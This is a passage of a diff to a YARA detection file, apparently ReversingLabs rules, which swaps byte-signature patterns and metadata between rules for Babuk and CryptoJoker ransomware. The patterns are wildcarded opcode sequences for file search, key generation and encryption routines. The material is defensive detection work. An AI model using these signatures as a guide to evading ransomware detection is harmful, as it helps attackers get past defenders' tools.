-            ?? ?? ?? ?? 83 F8 ?? 7E ?? 48 8D B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
-            B5 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 85 C0 59 59 75 ?? 8B 06 8B 8D ?? ?? ?? ?? 03
-            C8 51 8B 4E ?? 2B C8 51 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
-            83 C6 ?? FF 8D ?? ?? ?? ?? 75 ?? 33 F6 39 B5 ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 59 39 B5 ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 39 B5 ??
-            ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF 85 ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? 83 C7 ?? 3B 85 ?? ?? ?? ?? 0F 8C ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50
-            E8 ?? ?? ?? ?? 85 C0 59 59 0F 85 ?? ?? ?? ?? 39 85 ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 59 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 59 59 B0 ?? E9 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 50 53 C6
-            01 ?? E8 ?? ?? ?? ?? 59 39 B5 ?? ?? ?? ?? 59 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            59 39 B5 ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 39 B5 ?? ?? ?? ?? 74
-            ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 53 C6 00 ?? E8 ?? ?? ??
-            ?? EB ?? 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C6 00 ?? EB ?? 0F
-            84 ?? ?? ?? ?? C6 07 ?? FF 15 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 59 59 83 BD ?? ?? ??
-            ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            FF 15 ?? ?? ?? ?? 32 C0 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3
+		$find_files = {
+            55 8B EC 83 C4 ?? 53 56 57 33 C9 89 4D ?? 8B FA 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64
+            FF 30 64 89 20 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 85 DB 7C ?? 8B 45 ?? 66
+            83 3C 58 ?? 75 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? E8 ?? ?? ?? ??
+            8B 75 ?? 85 F6 74 ?? 83 EE ?? 8B 36 8D 45 ?? 50 8D 53 ?? 8B CE 8B 45 ?? E8 ?? ?? ??
+            ?? 8B C7 8B 55 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8
+            ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8B C7 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68
+            ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 59 59 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and $search_and_encrypt_files and $remote_connection_1 and $remote_connection_2
+		uint16(0)==0x5A4D and ($generate_key) and ($find_files) and ($encrypt_files)
 }
-rule REVERSINGLABS_Win32_Ransomware_Babuk : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Cryptojoker : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Babuk ransomware."
+		description = "Yara rule that detects CryptoJoker ransomware."
 		author = "ReversingLabs"
-		id = "8a96f400-193f-5fd1-ba03-4da464345e1c"
-		date = "2021-01-26"
-		modified = "2021-01-26"
+		id = "50a9280b-a352-5a2b-acee-5690e509dfd7"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Babuk.yara#L1-L117"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "70327b3f9d0b0505ade7ee6de6d7facf56820c7e8477bd172f738f374311144f"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.CryptoJoker.yara#L1-L140"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "42ee1e63ada1ae986f43a1300eda0b1fa7b54c26be31ef5637bb321defffbe40"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -42268,108 +42295,136 @@ rule REVERSINGLABS_Win32_Ransomware_Babuk : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Babuk"
+		tc_detection_name = "CryptoJoker"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 50 8B
-            8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ??
-            83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 95 ??
-            ?? ?? ?? 83 C2 ?? 89 95 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 73 ?? 8B 85 ?? ?? ?? ?? 8B
-            0C 85 ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? E9 ?? ?? ??
-            ?? E9 ?? ?? ?? ?? EB ?? 8B 45 ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ??
-            51 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 E2 ?? 74 ?? 83 7D ?? ?? 77 ?? 8B 45 ?? 83
-            C0 ?? 50 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ??
-            ?? ?? 89 85 ?? ?? ?? ?? EB ?? 8B 8D ?? ?? ?? ?? 83 E9 ?? 89 8D ?? ?? ?? ?? 83 BD ??
-            ?? ?? ?? ?? 7C ?? 8B 95 ?? ?? ?? ?? 0F B7 84 55 ?? ?? ?? ?? 83 F8 ?? 75 ?? 68 ?? ??
-            ?? ?? 8B 8D ?? ?? ?? ?? 8D 94 4D ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? EB ??
-            EB ?? EB ?? EB ?? EB ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ??
-            ?? 51 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? 50 FF 15
+		$call_encrypt = {
+            2B 02 26 16 FE 09 00 00 FE 09 01 00 FE 09 02 00 6F ?? ?? ?? ?? 2A
         }
-		$encrypt_files_p1 = {
-            55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A
-            ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD
-            ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 FF 15 ??
-            ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85
-            ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 8C ?? ??
-            ?? ?? 7F ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B
-            95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 52 50 E8 ?? ?? ??
-            ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 0F 57 C0 66 0F 13 85 ?? ?? ?? ?? EB ?? 8B 8D
-            ?? ?? ?? ?? 83 C1 ?? 8B 95 ?? ?? ?? ?? 83 D2 ?? 89 8D ?? ?? ?? ?? 89 95 ?? ?? ?? ??
-            83 BD ?? ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 7C ?? 83 BD ?? ?? ?? ?? ?? 0F 83 ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50
+		$encrypt_files = {
+            2B 02 26 16 20 04 ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 26 20 00 04 ?? ?? 73 ?? ?? ?? ?? 0C 20 05 ?? ?? ??
+            16 39 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 0B 38 ?? ?? ?? ?? 20 04 ?? ?? ?? FE ?? ?? ?? FE ?? ??
+            ?? 45 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 ?? ?? ?? ?? 26
+            20 03 ?? ?? ?? 16 39 ?? ?? ?? ?? 26 00 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ??
+            ?? ?? ?? 26 20 00 ?? ?? ?? 38 ?? ?? ?? ?? 00 00 08 06 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ??
+            ?? ?? 26 20 03 ?? ?? ?? 38 ?? ?? ?? ?? 09 28 ?? ?? ?? ?? 13 04 20 04 ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ??
+            26 00 08 07 17 28 ?? ?? ?? ?? 0D 38 ?? ?? ?? ?? 20 03 ?? ?? ?? FE ?? ?? ?? FE ?? ?? ?? 45 ?? ?? ?? ?? ?? ??
+            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 ?? ?? ?? ?? 26 20 02 ?? ?? ?? 38 ?? ?? ?? ?? 11 04
+            13 05 DD ?? ?? ?? ?? 00 08 16 28 ?? ?? ?? ?? 00 00 DC 08 14 FE 01 13 06 11 06 3A ?? ?? ?? ?? 08 28 ?? ?? ??
+            ?? 00 DC 00 11 05 2A
         }
-		$encrypt_files_p2 = {
-            E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8B
-            85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 68
-            ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 6A ?? 68 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ??
-            51 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 52
-            FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 8C ?? ?? ??
-            ?? 7F ?? 83 BD ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68
-            ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ??
-            ?? ?? 74 ?? 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 68 ?? ??
-            ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ??
-            ?? ?? 50 8B 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
+		$start_process = {
+            2B ?? 26 16 20 10 ?? ?? ?? 38 ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 20 ?? ?? ?? ??
+            38 ?? ?? ?? ?? 00 11 05 17 28 ?? ?? ?? ?? 20 06 ?? ?? ?? 38 ?? ?? ?? ?? 00 28 ?? ?? ?? ??
+            0A 20 09 ?? ?? ?? 38 ?? ?? ?? ?? 00 11 05 08 28 ?? ?? ?? ?? 20 12 ?? ?? ?? 38 ?? ?? ?? ??
+            11 06 17 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38
+            ?? ?? ?? ?? 11 05 17 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 38 ?? ?? ?? ?? 11 06 19 20 ?? ?? ?? ??
+            28 ?? ?? ?? ?? A2 20 0F ?? ?? ?? 38 ?? ?? ?? ?? 1A 8D ?? ?? ?? ?? 13 06 20 02 ?? ?? ?? 38
+            ?? ?? ?? ?? 00 11 04 28 ?? ?? ?? ?? 26 20 13 ?? ?? ?? 38 ?? ?? ?? ?? 08 09 28 ?? ?? ?? ??
+            20 07 ?? ?? ?? 38 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 05 38 ?? ?? ?? ?? 26 20 0D ?? ?? ?? 38 ??
+            ?? ?? ?? 11 06 0D 38 ?? ?? ?? ?? 20 10 ?? ?? ?? FE ?? ?? ?? FE ?? ?? ?? 45 ?? ?? ?? ?? ??
+            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 20 08 ?? ?? ?? 17 3A ?? ?? ?? ??
+            26 11 06 18 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 20 00 ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ??
+            26 06 07 28 ?? ?? ?? ?? 0C 20 0B ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 26 11 06 16 20 ??
+            ?? ?? ?? 28 ?? ?? ?? ?? A2 17 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 26 20 03 ?? ?? ?? 16 39 ?? ??
+            ?? ?? 26 00 11 04 11 05 28 ?? ?? ?? ?? 20 0A ?? ?? ?? 17 3A ?? ?? ?? ?? 26 00 73 ?? ?? ??
+            ?? 13 04 20 04 ?? ?? ?? 38 ?? ?? ?? ?? 2A
         }
-		$encrypt_files_p3 = {
-            C4 ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
-            8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 45
-            ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF
-            15 ?? ?? ?? ?? 6A ?? 8B 85 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 95 ?? ??
-            ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ??
-            ?? 6A ?? 6A ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 6A ?? 8D 95 ?? ?? ??
-            ?? 52 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8D 45 ?? 50 6A
-            ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ??
-            ?? ?? 52 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? EB ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ??
-            3B 95 ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 69 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 BC 05 ?? ?? ??
-            ?? ?? 0F 84 ?? ?? ?? ?? 69 8D ?? ?? ?? ?? ?? ?? ?? ?? 81 BC 0D ?? ?? ?? ?? ?? ?? ??
-            ?? 74 ?? FF 15 ?? ?? ?? ?? 69 95 ?? ?? ?? ?? ?? ?? ?? ?? 3B 84 15 ?? ?? ?? ?? 74 ??
-            69 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 8C 05 ?? ?? ?? ?? 51 6A ?? 68 ?? ?? ?? ?? FF 15 ??
-            ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 FF
-            15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 8D ?? ?? ??
-            ?? 51 FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+		$msgbox_timer = {
+            00 28 ?? ?? ?? ?? 0A 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 28 ?? ?? ?? ?? 0C
+            00 02 7B ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 DE 12 08 14 FE 01
+            13 04 11 04 2D ?? 08 6F ?? ?? ?? ?? 00 DC 00 02 7B ?? ?? ?? ?? 16 32 0E 02 7B
+            ?? ?? ?? ?? 16 FE 04 16 FE 01 2B ?? 16 00 13 04 11 04 2D ?? 00 02 7B ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 38 ?? ?? ?? ?? 02 7B ??
+            ?? ?? ?? 2D ?? 02 7B ?? ?? ?? ?? 2D ?? 02 7B ?? ?? ?? ?? 16 FE 01 16 FE 01 2B
+            ?? 17 00 13 04 11 04 2D ?? 00 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 73 ?? ?? ??
+            ?? 0D 09 17 6F ?? ?? ?? ?? 00 09 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 1F 40 28 ??
+            ?? ?? ?? 26 00 38 ?? ?? ?? ?? 00 02 7B ?? ?? ?? ?? 17 FE 04 16 FE 01 13 04 11
+            04 2D ?? 00 02 1F 3B 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 17 FE 04 16 FE 01 13 04
+            11 04 2D ?? 00 02 1F 3B 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 16 FE 01 13 04 11 04
+            2D ?? 02 25 7B ?? ?? ?? ?? 17 59 7D ?? ?? ?? ?? 00 2B ?? 02 25 7B ?? ?? ?? ??
+            17 59 7D ?? ?? ?? ?? 00 2B ?? 02 25 7B ?? ?? ?? ?? 17 59 7D ?? ?? ?? ?? 02 7B
+            ?? ?? ?? ?? 1F 09 FE 02 16 FE 01 13 04 11 04 2D ?? 02 7B ?? ?? ?? ?? 02 7C ??
+            ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 2B ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ??
+            ?? 02 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 7B ??
+            ?? ?? ?? 1F 09 FE 02 16 FE 01 13 04 11 04 2D ?? 02 7B ?? ?? ?? ?? 02 7C ?? ??
+            ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 2B ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ??
+            02 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 7B ?? ??
+            ?? ?? 1F 09 FE 02 16 FE 01 13 04 11 04 2D ?? 02 7B ?? ?? ?? ?? 02 7C ?? ?? ??
+            ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 2B ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 02
+            7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 2A
         }
-		$enum_resources = {
-            55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? 8D 45 ?? 50 8B 4D ?? 51 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
-            ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 45
-            ?? 50 8B 4D ?? 51 8D 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 75 ?? C7 45 ?? ?? ??
-            ?? ?? EB ?? 8B 4D ?? 83 C1 ?? 89 4D ?? 8B 55 ?? 3B 55 ?? 73 ?? 8B 45 ?? C1 E0 ?? 8B
-            4D ?? 8B 54 01 ?? 83 E2 ?? 74 ?? 8B 45 ?? C1 E0 ?? 03 45 ?? 50 E8 ?? ?? ?? ?? 83 C4
-            ?? EB ?? 6A ?? 8B 4D ?? C1 E1 ?? 8B 55 ?? 8B 44 0A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB
-            ?? EB ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 4D ?? 33
-            CD E8 ?? ?? ?? ?? 8B E5 5D C3
+		$unzip_packed_file = {
+            28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 0B 06 07 2E ?? 07 06 28 ?? ?? ?? ?? 2D ?? 14
+            2A 02 73 ?? ?? ?? ?? 0C 16 8D ?? ?? ?? ?? 0D 08 6F ?? ?? ?? ?? 13 04 11 04 20
+            ?? ?? ?? ?? 40 ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 68 13 05 08 6F ?? ?? ?? ?? 13 06
+            08 6F ?? ?? ?? ?? 13 07 11 04 20 ?? ?? ?? ?? 33 ?? 11 05 1F 14 33 ?? 11 06 2D
+            ?? 11 07 1E 2E ?? 72 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 08 6F ?? ?? ?? ?? 26 08 6F
+            ?? ?? ?? ?? 26 08 6F ?? ?? ?? ?? 26 08 6F ?? ?? ?? ?? 13 08 08 6F ?? ?? ?? ??
+            13 09 08 6F ?? ?? ?? ?? 13 0A 11 09 16 31 ?? 11 09 8D ?? ?? ?? ?? 13 0B 08 11
+            0B 16 11 09 6F ?? ?? ?? ?? 26 11 0A 16 31 ?? 11 0A 8D ?? ?? ?? ?? 13 0C 08 11
+            0C 16 11 0A 6F ?? ?? ?? ?? 26 08 6F ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 59 D4 8D ??
+            ?? ?? ?? 13 0D 08 11 0D 16 11 0D 8E 69 6F ?? ?? ?? ?? 26 11 0D 73 ?? ?? ?? ??
+            13 0E 11 08 8D ?? ?? ?? ?? 0D 11 0E 09 16 09 8E 69 6F ?? ?? ?? ?? 26 14 13 0D
+            38 ?? ?? ?? ?? 11 04 1F 18 63 13 0F 11 04 11 0F 1F 18 62 59 13 04 11 04 20 ??
+            ?? ?? ?? 40 ?? ?? ?? ?? 11 0F 17 33 ?? 08 6F ?? ?? ?? ?? 13 10 11 10 8D ?? ??
+            ?? ?? 0D 16 13 11 2B ?? 08 6F ?? ?? ?? ?? 13 12 08 6F ?? ?? ?? ?? 13 13 11 12
+            8D ?? ?? ?? ?? 13 15 08 11 15 16 11 15 8E 69 6F ?? ?? ?? ?? 26 11 15 73 ?? ??
+            ?? ?? 13 14 11 14 09 11 11 11 13 6F ?? ?? ?? ?? 26 11 11 11 13 58 13 11 11 11
+            11 10 32 ?? 11 0F 18 33 ?? 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ??
+            13 16 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 17 11 16 11 17 17
+            28 ?? ?? ?? ?? 13 18 11 18 02 1A 02 8E 69 1A 59 6F ?? ?? ?? ?? 13 19 11 19 28
+            ?? ?? ?? ?? 0D DE ?? 11 18 2C ?? 11 18 6F ?? ?? ?? ?? DC 11 0F 19 33 ?? 1F 10
+            8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 1A 1F 10 8D ?? ?? ?? ?? 25
+            D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 1B 11 1A 11 1B 17 28 ?? ?? ?? ?? 13 1C 11 1C
+            02 1A 02 8E 69 1A 59 6F ?? ?? ?? ?? 13 1D 11 1D 28 ?? ?? ?? ?? 0D DE 17 11 1C
+            2C ?? 11 1C 6F ?? ?? ?? ?? DC 72 B5 0E 00 70 73 ?? ?? ?? ?? 7A 08 6F ?? ?? ??
+            ?? 14 0C 09 2A
+        }
+		$resolve_assembly = {
+            12 00 03 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 12 00 16 28 ?? ?? ?? ?? 0B 28 ?? ?? ?? ?? 07
+            6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 72 ?? ?? ?? ?? 17 8D ?? ?? ?? ?? 13 13 11 13 16 1F
+            2C 9D 11 13 6F ?? ?? ?? ?? 0D 7E ?? ?? ?? ?? 13 04 16 13 05 16 13 06 16 13 07 2B ??
